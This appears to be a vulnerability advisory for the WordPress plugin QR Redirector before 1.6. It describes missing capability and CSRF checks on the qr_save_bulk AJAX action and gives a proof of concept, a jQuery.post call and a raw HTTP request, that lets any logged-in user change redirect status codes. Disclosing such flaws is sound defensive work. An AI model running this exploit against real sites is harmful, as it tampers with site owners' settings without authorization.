QR Redirector < 1.6 - Subscriber+ Arbitrary QR Redirect Response Status Update

2021-10-1800:00:00

apple502j

351

qr redirector

version 1.6

arbitrary

response update

post

admin-ajax

exploit

EPSS

0.001

Percentile

36.7%

JSON

The plugin does not have capability and CSRF checks when saving bulk QR Redirector settings via the qr_save_bulk AJAX action, which could allow any authenticated user, such as subscriber to change the redirect response status code of arbitrary QR Redirects

jQuery.post(ajaxurl, {
qr_redirect_response: 308,
post_ids: [830],
action: "qr_save_bulk"
})

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 64
Connection: close
Cookie: [any authenticated user]

qr_redirect_response=308&post_ids%5B%5D=830&action=qr_save_bulk

EPSS

0.001

Percentile

36.7%

JSON

Related for WPEX-ID:240BED24-0315-4BBF-BA17-E4947E5ECACB